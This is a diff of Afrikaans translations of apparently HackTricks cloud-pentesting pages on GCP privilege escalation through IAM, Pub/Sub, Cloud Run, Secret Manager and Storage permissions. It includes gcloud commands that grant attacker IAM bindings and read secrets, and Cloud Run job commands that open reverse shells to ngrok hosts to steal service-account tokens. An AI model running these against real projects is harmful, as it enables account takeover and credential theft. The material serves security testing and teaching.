-Jy kan 'n script vind om die [**skepping, uitbuiting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) te outomatiseer en 'n python script om hierdie voorreg [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) en [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py) te misbruik. Vir meer inligting, sien die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
+Jy kan 'n script vind om die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) te outomatiseer en 'n python script om hierdie voorreg te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) en [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Vir meer inligting kyk die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).

 ### `iam.serviceAccounts.signJwt`

-'n Aanvaller met die genoemde permissies sal in staat wees om **goed-gevormde JSON web tokens (JWTs) te onderteken**. Die verskil met die vorige metode is dat **in plaas daarvan om google 'n blob wat 'n JWT bevat te laat teken, ons die signJWT-metode gebruik wat reeds 'n JWT verwag**. Dit maak dit makliker om te gebruik, maar jy kan slegs JWT's teken en nie arbitrêre bytes nie.
+'n Aanvaller met die genoemde permissies sal in staat wees om **well-formed JSON web tokens (JWTs) te onderteken**. Die verskil met die vorige metode is dat **in plaas daarvan om Google 'n blob wat 'n JWT bevat te laat onderteken, ons die signJWT-metode gebruik wat reeds 'n JWT verwag**. Dit maak dit makliker om te gebruik maar jy kan slegs JWTs teken in plaas van ewekansige bytes.

-Jy kan 'n script vind om die [**skepping, uitbuiting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) te outomatiseer en 'n python script om hierdie voorreg [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py) te misbruik. Vir meer inligting, sien die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
+Jy kan 'n script vind om die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) te outomatiseer en 'n python script om hierdie voorreg te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Vir meer inligting kyk die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).

 ### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>

-'n Aanvaller met die genoemde permissies sal in staat wees om **IAM-beleide aan service accounts toe te voeg**. Jy kan dit misbruik om jouself die permissies toe te ken wat jy nodig het om voor te gee as die service account. In die volgende voorbeeld ken ons onsself die `roles/iam.serviceAccountTokenCreator` rol toe oor die betrokke SA:
-
-<details><summary>Voeg IAM-beleidbinding by service account</summary>
+'n Aanvaller met die genoemde permissies sal in staat wees om **IAM-beleid by service accounts te voeg**. Jy kan dit misbruik om jouself die permissies te gee wat jy nodig het om die service account na te boots. In die volgende voorbeeld gee ons onsself die `roles/iam.serviceAccountTokenCreator` rol oor die interessante SA:
 ```bash
 gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
 --member="user:username@domain.com" \
@@ -101,55 +94,45 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
 --member="user:username@domain.com" \
 --role="roles/iam.serviceAccountUser"
 ```
-</details>
-
-You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
+Jy kan 'n skrip vind om die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**

 ### `iam.serviceAccounts.actAs`

-Die **iam.serviceAccounts.actAs permission** is soos die **iam:PassRole permission from AWS**. Dit is noodsaaklik vir die uitvoer van take, soos die begin van ’n Compute Engine-instance, aangesien dit die vermoë gee om as ’n Service Account te "actAs", wat veilige beheer van toestemmings verseker. Sonder dit kan gebruikers onnodige toegang verkry. Verder behels die uitbuiting van die **iam.serviceAccounts.actAs** verskeie metodes, elk wat ’n stel toestemmings vereis, in teenstelling met ander metodes wat net een benodig.
+Die **iam.serviceAccounts.actAs permission** is soortgelyk aan die **iam:PassRole permission from AWS**. Dit is noodsaaklik vir die uitvoer van take, soos om 'n Compute Engine-instansie te begin, aangesien dit die vermoë gee om as 'n Service Account te "actAs", wat veilige bestuur van permissies moontlik maak. Sonder hierdie toestemming kan gebruikers ongewensde toegang kry. Verder behels die uitbuiting van die **iam.serviceAccounts.actAs** verskeie metodes, wat elk 'n stel toestemmings vereis, in teenstelling met ander metodes wat net een benodig.

 #### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>

-Die impersonering van ’n service account kan baie nuttig wees om **nuwe en beter priviliges te verkry**. Daar is drie maniere waarop jy [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
+Die impersonasie van 'n Service Account kan baie nuttig wees om **nuwe en beter bevoegdhede te verkry**. Daar is drie maniere waarop jy 'n [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):

- Authentication **using RSA private keys** (covered above)
- Authorization **using Cloud IAM policies** (covered here)
- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
+- Outentisering **using RSA private keys** (hierbo gedek)
+- Magtiging **using Cloud IAM policies** (hier gedek)
+- **Deploying jobs on GCP services** (meer toepaslik by die kompromittering van 'n gebruikersrekening)

 ### `iam.serviceAccounts.getOpenIdToken`

-’n Aanvaller met die genoemde toestemmings sal in staat wees om ’n OpenID JWT te genereer. Hierdie tokens word gebruik om identiteit te bevestig en dra nie noodwendig enige implisiete magtiging teen ’n bron nie.
+'n Aanvaller met die genoemde toestemmings sal 'n OpenID JWT kan genereer. Hierdie tokens word gebruik om identiteit te bevestig en dra nie noodwendig enige implisiete magtiging teenoor 'n bron nie.

-Volgens hierdie [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) is dit nodig om die audience aan te dui (die diens waarby jy die token wil gebruik om te autentiseer) en jy sal ’n JWT ontvang wat deur google geteken is en die service account en die audience van die JWT aandui.
+Volgens hierdie [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), is dit nodig om die audience aan te dui (die diens waarby jy die token wil gebruik om te autentiseer) en jy sal 'n JWT ontvang wat deur google onderteken is en wat die service account en die audience van die JWT aandui.

-Jy kan ’n OpenIDToken genereer (as jy die toegang het) met:
-
-<details><summary>Generate OpenID token for service account</summary>
+Jy kan 'n OpenIDToken (as jy die toegang het) genereer met:
 ```bash
 # First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
 gcloud auth activate-service-account --key-file=/path/to/svc_account.json
 # Then, generate token
 gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
 ```
-</details>
-
 Dan kan jy dit net gebruik om toegang tot die diens te kry met:
-
-<details><summary>Gebruik OpenID-token om te verifieer</summary>
 ```bash
 curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
 ```
-</details>
-
-Sommige dienste wat verifikasie deur hierdie soort tokens ondersteun, is:
+Sommige dienste wat verifikasie via hierdie soort tokens ondersteun, is:

 - [Google Cloud Run](https://cloud.google.com/run/)
 - [Google Cloud Functions](https://cloud.google.com/functions/docs/)
 - [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (indien Google OIDC gebruik word)
+- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)

-Jy kan 'n voorbeeld vind van hoe om 'n OpenID-token namens 'n diensrekening te skep [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
+Jy kan 'n voorbeeld vind van hoe om 'n OpenID token namens 'n service account te skep [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).

 ## Verwysings

@@ -10,28 +10,61 @@ Kry meer inligting in:
 ../gcp-services/gcp-pub-sub.md
 {{#endref}}

-### `pubsub.snapshots.create`
-
-Die snapshots van onderwerpe **bevat die huidige onACKed boodskappe en elke boodskap daarna**. Jy kan 'n snapshot van 'n onderwerp skep om **toegang te verkry tot al die boodskappe**, **terwyl jy toegang tot die onderwerp direk vermy**.
+### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)

+Die snapshots van topics **bevat die huidige unACKed boodskappe en elke boodskap daarna**. Jy kan 'n snapshot van 'n topic skep om **toegang tot al die boodskappe te kry**, **sonder om direk toegang tot die topic te hê**.
+```bash
+gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
+```
 ### **`pubsub.snapshots.setIamPolicy`**

-Ken die vorige toestemmings aan jouself toe.
+Ken die vorige toestemmings aan jou toe.

 ### `pubsub.subscriptions.create`

-Jy kan 'n push-subskripsie in 'n onderwerp skep wat al die ontvangde boodskappe na die aangeduide URL sal stuur.
+Jy kan 'n push subscription in 'n topic skep wat al die ontvangde boodskappe na die aangeduide URL sal stuur

 ### **`pubsub.subscriptions.update`**

-Stel jou eie URL as push-eindpunt in om die boodskappe te steel.
+Stel jou eie URL as push-endpoint in om die boodskappe te steel.

 ### `pubsub.subscriptions.consume`

-Toegang tot boodskappe met behulp van die subskripsie.
-
+Kry toegang tot boodskappe deur die subskripsie te gebruik.
+```bash
+gcloud pubsub subscriptions pull <SUSCRIPTION> \
+--limit=50 \
+--format="json" \
+--project=<PROJECTID>
+```
 ### `pubsub.subscriptions.setIamPolicy`

-Gee jouself enige van die vorige toestemmings.
+Ken jouself enige van die vorige permissions toe.
+```bash
+# Add Binding
+gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
+--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--role="<ROLE_OR_CUSTOM_ROLE>" \
+--project="<PROJECT_ID>"

+# Remove Binding
+gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
+--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--role="<ROLE_OR_CUSTOM_ROLE>" \
+--project="<PROJECT_ID>"
+
+# Change Policy
+gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
+<(echo '{
+"bindings": [
+{
+"role": "<ROLE_OR_CUSTOM_ROLE>",
+"members": [
+"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
+]
+}
+]
+}') \
+--project=<PROJECT_ID>
+```
 {{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@

 ## Cloud Run

-Vir meer inligting oor Cloud Run kyk:
+Vir meer inligting oor Cloud Run, sien:

 {{#ref}}
 ../gcp-services/gcp-cloud-run-enum.md
@@ -12,18 +12,15 @@ Vir meer inligting oor Cloud Run kyk:

 ### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**

-'n aanvaller met hierdie permissies kan 'n run-diens skep wat **enige kode uitvoer** (enige Docker container), 'n Service Account daaraan koppel, en die kode laat **exfiltrate the Service Account token from the metadata**.
+'n aanvaller met hierdie permissies kan 'n run service skep wat arbitrary code uitvoer (arbitrary Docker container), 'n Service Account daaraan koppel en die kode laat exfiltrate the Service Account token from the metadata.

-'n exploit script vir hierdie metode kan gevind word [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) en die Docker image kan gevind word [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
+An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).

-Let daarop dat wanneer jy `gcloud run deploy` gebruik in plaas van net die diens te skep, **het dit die `update` permission nodig**. Kyk 'n [**voorbeeld hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
+Let wel dat wanneer jy `gcloud run deploy` gebruik in plaas van net die diens te skep, **dit die `update` permissie benodig**. Kyk na 'n [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).

 ### `run.services.update` , `iam.serviceAccounts.actAs`

-Soos die vorige, maar deur 'n diens op te dateer:
-
-<details>
-<summary>Ontplooi Cloud Run-diens met reverse shell</summary>
+Soos die vorige een maar deur 'n diens op te dateer:
 ```bash
 # Launch some web server to listen in port 80 so the service works
 echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
@@ -39,18 +36,29 @@ gcloud run deploy hacked \

 # If you don't have permissions to use "--allow-unauthenticated", dont use it
 ```
-</details>
-
 ### `run.services.setIamPolicy`

-Gee jouself voorregte op Cloud Run.
+Gee jouself verhoogde toestemmings op cloud Run.
+```bash
+# Change policy
+gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
+--region=us-central1

+# Add binding
+gcloud run services add-iam-policy-binding <SERVICE_NAME> \
+--member="allUsers" \
+--role="roles/run.invoker" \
+--region=us-central1
+
+# Remove binding
+gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
+--member="allUsers" \
+--role="roles/run.invoker" \
+--region=us-central1
+```
 ### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)

-Start 'n job met 'n reverse shell om die service account wat in die opdrag aangedui is te steel. Jy kan 'n [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh) vind.
-
-<details>
-<summary>Skep 'n Cloud Run job met 'n reverse shell</summary>
+Voer 'n job uit met 'n reverse shell om die service account wat in die opdrag aangedui word te steel. Jy kan 'n [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh) vind.
 ```bash
 gcloud beta run jobs create jab-cloudrun-3326 \
 --image=ubuntu:latest \
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
 --region=us-central1

 ```
-</details>
-
 ### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)

-Soortgelyk aan die vorige, is dit moontlik om **'n job by te werk en die SA by te werk**, die **opdrag** te verander en dit uit te voer:
-
-<details>
-<summary>Werk Cloud Run job by en voer uit met reverse shell</summary>
+Soortgelyk aan die vorige is dit moontlik om **'n job op te dateer en die SA op te dateer**, die **opdrag** te wysig en dit uit te voer:
 ```bash
 gcloud beta run jobs update hacked \
 --image=mubuntu:latest \
@@ -77,23 +80,32 @@ gcloud beta run jobs update hacked \
 --region=us-central1 \
 --execute-now
 ```
-</details>
-
 ### `run.jobs.setIamPolicy`

-Gee jouself die vorige permissies oor Cloud Jobs.
+Gee jouself die vorige regte oor Cloud Jobs.
+```bash
+# Change policy
+gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
+--region=us-central1

+# Add binding
+gcloud run jobs add-iam-policy-binding <JOB_NAME> \
+--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--role="roles/run.invoker" \
+--region=us-central1
+
+# Remove binding
+gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
+--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--role="roles/run.invoker" \
+--region=us-central1
+```
 ### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)

-Misbruik die env-variabeles van 'n job-uitvoering om arbitrêre kode uit te voer en 'n reverse shell te kry om die inhoud van die container (bronkode) uit te haal en toegang tot die SA binne die metadata te kry:
-
-<details>
-<summary>Voer 'n Cloud Run job uit met environment variable exploitation</summary>
+Misbruik die env variables van 'n job-uitvoering om arbitrêre kode uit te voer en 'n reverse shell te kry om die inhoud van die container (source code) te dump en toegang tot die SA in die metadata te kry:
 ```bash
 gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
 ```
-</details>
-
 ## Verwysings

 - [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
@@ -12,16 +12,16 @@ Vir meer inligting oor secretmanager:

 ### `secretmanager.versions.access`

-Dit gee jou toegang om die secrets van die secret manager te lees en dit kan dalk help om te escalate privileges (afhangend van watter inligting in die secret gestoor is):
+Dit gee jou toegang om die secrets van die secret manager te lees en kan dalk help om escalate privileges (afhangend van watter inligting in die secret stored is):

-<details><summary>Kry die clear-text secret-weergawe</summary>
+<details><summary>Kry clear-text secret version</summary>
 ```bash
 # Get clear-text of version 1 of secret: "<secret name>"
 gcloud secrets versions access 1 --secret="<secret_name>"
 ```
 </details>

-Aangesien dit ook 'post exploitation technique' is, kan dit gevind word in:
+Aangesien dit ook 'n post exploitation technique is, kan dit gevind word in:

 {{#ref}}
 ../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -29,7 +29,7 @@ Aangesien dit ook 'post exploitation technique' is, kan dit gevind word in:

 ### `secretmanager.secrets.setIamPolicy`

-Dit gee jou toegang om die geheime van die secret manager te lees, byvoorbeeld deur:
+Dit gee jou toegang om die secrets uit die secret manager te lees, byvoorbeeld deur:

 <details><summary>Add IAM policy binding to secret</summary>
 ```bash
@@ -37,6 +37,12 @@ gcloud secrets add-iam-policy-binding <scret-name> \
 --member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
 --role="roles/secretmanager.secretAccessor"
 ```
+Of herroep beleide met:
+```bash
+gcloud secrets remove-iam-policy-binding <secret-name> \
+--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--role="roles/secretmanager.secretAccessor"
+```
 </details>

 {{#include ../../../banners/hacktricks-training.md}}
@@ -12,28 +12,82 @@ Basiese inligting:

 ### `storage.objects.get`

-Hierdie toestemming laat jou toe om **lêers wat in Cloud Storage gestoor is te aflaai**. Dit kan jou moontlik in staat stel om voorregte te verhoog omdat in sommige gevalle **sensitiewe inligting daar gestoor word**. Verder berg sommige GCP-dienste hul inligting in buckets:
+Hierdie toestemming laat jou toe om **lêers af te laai wat in Cloud Storage gestoor is**. Dit kan jou moontlik toelaat om escalate privileges omdat in sommige gevalle **sensitiewe inligting daar gestoor word**. Boonop bewaar sommige GCP-dienste hulle inligting in buckets:

- **GCP Composer**: Wanneer jy 'n Composer Environment skep sal die **code of all the DAGs** binne 'n **bucket** gestoor word. Hierdie take kan interessante inligting in hul kode bevat.
- **GCR (Container Registry)**: Die **image** van die containers word in **buckets** gestoor, wat beteken dat as jy die buckets kan lees jy die images kan aflaai en kan **search for leaks and/or source code**.
+- **GCP Composer**: Wanneer jy 'n Composer Environment skep, sal die **code of all the DAGs** binne 'n **bucket** gestoor word. Hierdie take kan interessante inligting in hul kode bevat.
+- **GCR (Container Registry)**: Die **image** van die containers word in **buckets** gestoor, wat beteken dat as jy die buckets kan lees jy die images kan aflaai en vir leaks en/of source code kan soek.

 ### `storage.objects.setIamPolicy`

-Hierdie toestemming kan jou die vermoë gee om **enige van die voorafgaande scenario's in hierdie afdeling te misbruik**.
+Hierdie toestemming kan jou die vermoë gee om **enige van die vorige scenario's in hierdie afdeling te misbruik**.
+```bash
+# Add binding
+gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
+--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
+--role="<ROLE>" \
+--project=<PROJECT_ID>

+# Remove binding
+gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
+--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
+--role="<ROLE>" \
+--project=<PROJECT_ID>
+
+# Change Policy
+gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
+--project=<PROJECT_ID> <<'POLICY'
+{
+"bindings": [
+{
+"role": "<ROLE>",
+"members": [
+"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
+]
+}
+]
+}
+POLICY
+
+```
 ### **`storage.buckets.setIamPolicy`**

-Vir 'n voorbeeld oor hoe om permissies te wysig met hierdie toestemming, kyk hierdie bladsy:
+Vir 'n voorbeeld van hoe om toestemmings te wysig met hierdie toestemming, sien hierdie bladsy:
+```bash
+# Add binding
+gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
+--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
+--role=<ROLE> \
+--project=<MY_PROJECT>

+# Remove binding
+gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
+--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
+--role=<ROLE> \
+--project=<MY_PROJECT>
+
+# Change policy
+gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
+--project=<PROJECT_ID> <<'POLICY'
+{
+"bindings": [
+{
+"role": "<ROLE>",
+"members": [
+"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
+]
+}
+]
+}
+POLICY
+
+```
 {{#ref}}
 ../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
 {{#endref}}

 ### `storage.hmacKeys.create`

-Cloud Storage se "interoperability" funksie, ontwerp vir **cross-cloud interactions** soos met AWS S3, behels die **creation of HMAC keys for Service Accounts and users**. 'n Aanvaller kan dit uitbuit deur **'n HMAC key te genereer vir 'n Service Account met elevated privileges**, en sodoende **escalating privileges within Cloud Storage**. Terwyl gebruiker-geassosieerde HMAC keys slegs via die web console teruggevind kan word, bly beide die access en secret keys **perpetually accessible**, wat potensiële rugsteun-toegangstoegang moontlik maak. Omgekeerd is Service Account-gekoppelde HMAC keys API-toeganklik, maar hul access en secret keys is nie na skepping herwinbaar nie, wat 'n laag van kompleksiteit vir voortdurende toegang toevoeg.
-
-<details><summary>Skep en gebruik HMAC key vir privilege escalation</summary>
+Die "interoperability"-funksie van Cloud Storage, ontwerp vir **cross-cloud interactions** soos met AWS S3, behels die **skepping van HMAC-sleutels vir Service Accounts en users**. 'n Aanvaller kan dit misbruik deur **'n HMAC-sleutel te genereer vir 'n Service Account met verhoogde voorregte**, en sodoende **voorregte binne Cloud Storage op te skaal**. Terwyl gebruikers-geassosieerde HMAC-sleutels slegs via die web console opgevra kan word, bly beide die toegang- en geheime sleutels **permanent toeganklik**, wat die moontlikheid bied om toegang as 'n rugsteun te berg. Omgekeerd is Service Account-gekoppelde HMAC-sleutels via die API toeganklik, maar hul toegang- en geheime sleutels kan ná skepping nie opgehaal word nie, wat 'n ekstra laag kompleksiteit vir volgehoue toegang inhou.
 ```bash
 # Create key
 gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
@@ -63,56 +117,54 @@ gsutil ls gs://[BUCKET_NAME]
 # Restore
 gcloud config set pass_credentials_to_gsutil true
 ```
-</details>
+Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).

-Nog 'n exploit-skrip vir hierdie metode kan gevind word [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
+### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions

-### `storage.objects.create`, `storage.objects.delete` = Storage-skryf toestemmings
+Om 'n **nuwe object te skep** binne 'n bucket het jy `storage.objects.create` nodig en, volgens [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), benodig jy ook `storage.objects.delete` om 'n bestaande object te **wysig**.

-Om 'n **nuwe object** binne 'n bucket te skep benodig jy `storage.objects.create` en, volgens [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), benodig jy ook `storage.objects.delete` om 'n bestaande object te **wysig**.
-
-'n Baie **common exploitation** van buckets waarin jy kan skryf in die cloud is wanneer die **bucket webbediener-lêers stoor**; jy kan dalk **nuwe kode stoor** wat deur die webtoepassing gebruik sal word.
+'n Baie **common exploitation** van buckets waar jy in die cloud kan skryf, is wanneer die **bucket webserver lêers stoor**, jy dalk in staat wees om **nuwe kode te stoor** wat deur die webtoepassing gebruik sal word.

 ### Composer

-**Composer** is **Apache Airflow** wat binne GCP bestuur word. Dit het verskeie interessante kenmerke:
+**Composer** is **Apache Airflow** wat binne GCP bestuur word. Dit het 'n paar interessante kenmerke:

- Dit loop binne 'n **GKE cluster**, dus is die **SA wat die cluster gebruik toeganklik** deur die kode wat binne Composer loop.
- Al die komponente van 'n Composer-omgewing (**code of DAGs**, plugins en data) word gestoor binne 'n GCP-bucket. As die aanvaller lees- en skryftoestemmings oor dit het, kan hy die bucket monitor en **wanneer 'n DAG geskep of opgedateer word, 'n backdoored weergawe indien**, sodat die Composer-omgewing die backdoored weergawe uit die storage kry.
+- Dit hardloop binne 'n **GKE cluster**, so die **SA die cluster uses is accessible** deur die kode wat binne Composer loop
+- Alle komponente van 'n composer-omgewing (**code of DAGs**, plugins en data) word gestoor binne 'n GCP bucket. As die aanvaller lees- en skryf-toestemmings daaroor het, kan hy die bucket monitor en **whenever a DAG is created or updated, submit a backdoored version** sodat die composer-omgewing die gemanipuleerde weergawe uit die storage sal haal.

-**Jy kan 'n PoC van hierdie aanval in die repo vind:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
+**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)

 ### Cloud Functions

- Cloud Functions-kode word in Storage gestoor en elke keer as 'n nuwe weergawe geskep word, word die kode na die bucket ge-pusht en daarna word die nuwe kontainer van hierdie kode gebou. Daarom, deur die kode oor te skryf voordat die nuwe weergawe gebou word, is dit moontlik om die cloud function arbitrêre kode te laat uitvoer.
-
-**Jy kan 'n PoC van hierdie aanval in die repo vind:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
+- Cloud Functions-kode word in Storage gestoor en elke keer as 'n nuwe weergawe geskep word, word die kode na die bucket gepusht en dan word die nuwe container uit hierdie kode gebou. Dus, deur die kode te oorskryf voordat die nuwe weergawe gebou word, is dit moontlik om die cloud function te laat uitvoer arbitrêre kode.
+  
+**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)

 ### App Engine

-AppEngine-weergawe genereer sekere data binne 'n bucket met die formaat naam: `staging.<project-id>.appspot.com`. Binne hierdie bucket is dit moontlik om 'n gids met die naam `ae` te vind wat 'n gids per weergawe van die AppEngine-app sal bevat, en binne daardie gidse sal jy die `manifest.json` lêer vind. Hierdie lêer bevat 'n json met al die lêers wat gebruik moet word om die spesifieke weergawe te skep. Boonop is dit moontlik om die **werklike name van die lêers, die URL na hulle binne die GCP-bucket (die lêers binne die bucket het hul naam verander na hul sha1-hash) en die sha1-hash van elke lêer** te vind.
+AppEngine-weergawes genereer sekere data binne 'n bucket met die formaat naam: `staging.<project-id>.appspot.com`. Binne hierdie bucket is dit moontlik om 'n gids genaamd `ae` te vind wat 'n gids per weergawe van die AppEngine-app sal bevat en binne daardie gidse sal die `manifest.json`-lêer gevind kan word. Hierdie lêer bevat 'n json met al die lêers wat gebruik moet word om die spesifieke weergawe te skep. Verder is dit moontlik om die **ware name van die lêers, die URL na hulle binne die GCP bucket (die lêers binne die bucket verander hul name in hul sha1 hash) en die sha1 hash van elke lêer** te vind.

-_Note dat dit nie moontlik is om hierdie bucket vooraf te pre-takeover nie omdat GCP gebruikers nie gemagtig is om buckets te genereer met die domeinnaam appspot.com nie._
+Let wel dat dit nie moontlik is om hierdie bucket vooraf te takeover nie omdat GCP-gebruikers nie gemagtig is om buckets te genereer wat die domeinnaam appspot.com gebruik nie.

